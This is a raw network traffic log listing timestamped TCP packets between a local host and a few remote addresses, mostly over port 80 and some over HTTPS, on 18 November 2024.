Nov 18, 2024 00:27:57.177226067 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177241087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177274942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177288055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177299976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177314043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177325964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177329063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177337885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177349091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177351952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177361012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177371979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177383900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177392006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177412033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177424908 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177426100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177437067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177447081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177460909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177474022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177479982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177485943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177496910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177509069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177516937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177530050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177642107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177654028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177664995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177670956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177678108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177690029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177690983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177701950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177725077 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177740097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177792072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177815914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177825928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177851915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177865982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177879095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177890062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177901983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177927017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177934885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177944899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177957058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177974939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177978039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177987099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177999020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178011894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178040981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178047895 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178056002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178069115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178093910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178107023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178117037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178117990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178128958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178165913 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178193092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178239107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178261995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178317070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178328991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178339958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178356886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178365946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178383112 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178390980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178404093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178451061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178491116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178529978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178546906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178559065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178571939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178584099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.178586006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178620100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178620100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.178966999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179012060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179024935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179024935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179039001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179052114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179071903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179096937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179127932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179138899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179150105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179162025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179172993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179178953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179186106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179210901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179223061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179239988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179277897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179296017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179307938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179333925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179335117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179352999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179377079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179436922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179450035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179462910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179476976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179487944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179490089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179500103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179521084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179522038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179539919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179539919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179553986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179555893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179565907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179578066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179582119 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179603100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179605961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179631948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179655075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179766893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179778099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179789066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179801941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179812908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179814100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179826975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179851055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179871082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179883003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179902077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179914951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179927111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179941893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179946899 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.179984093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.179995060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180000067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180044889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180155039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180170059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180183887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180191994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180196047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180207014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180221081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180243015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180335999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180347919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180360079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180371046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180383921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180386066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180397034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180412054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180418015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180424929 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180428982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180439949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180454016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180459023 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180464983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180485964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180504084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180550098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180562019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180572987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180588961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180600882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180617094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180629015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180648088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180659056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180671930 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180672884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180685997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180691004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180697918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180711985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180717945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180738926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180742025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180757999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180769920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180780888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.180782080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180805922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.180824995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.181139946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.181185007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.181210041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.181221008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.181232929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.181252956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.181268930 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.181737900 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.181760073 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.181768894 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.181797028 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.181807995 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.181818962 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.181818962 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.181833982 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.181844950 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.181866884 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.181880951 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.183695078 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.183702946 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.183731079 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.183748960 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.183756113 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.183798075 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.183818102 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.184608936 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184639931 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184659958 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.184664011 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184710026 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184731960 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.184746981 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184757948 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.184808969 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.184804916 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184895992 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184916973 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184937954 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184971094 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.184971094 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.184977055 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.184999943 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.185000896 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.185033083 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.185045004 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.185045004 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.185075998 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.201206923 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.201271057 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.201293945 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.201303959 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.201324940 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.201351881 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.201970100 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.202030897 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.202538013 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.202548027 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.202591896 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.202605963 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.202620983 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.202636957 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.202639103 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.202663898 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.202693939 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.215517044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215533018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215543985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215562105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215584040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215598106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215611935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215624094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215636969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215656996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215667009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215675116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215707064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.215707064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.215707064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.215707064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.215708017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.215738058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215744019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.215749979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215790033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.215795040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215806007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.215832949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.215857983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.238279104 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.238311052 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.238362074 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.238368988 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.238410950 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.291330099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.291476965 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.291488886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.291507006 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.291522026 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.291528940 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.291867971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292049885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292057037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292068005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292081118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292089939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292093039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292098999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292105913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292115927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292124033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292139053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292186975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292188883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292216063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292228937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292256117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292284012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292290926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292303085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292314053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292332888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292345047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292354107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292356014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292376995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292378902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292388916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292397976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292402029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292412043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292412996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292432070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292440891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292474031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292476892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292490005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292500973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292519093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292526960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292531967 CET	80	49889	185.215.113.206	192.168.2.6
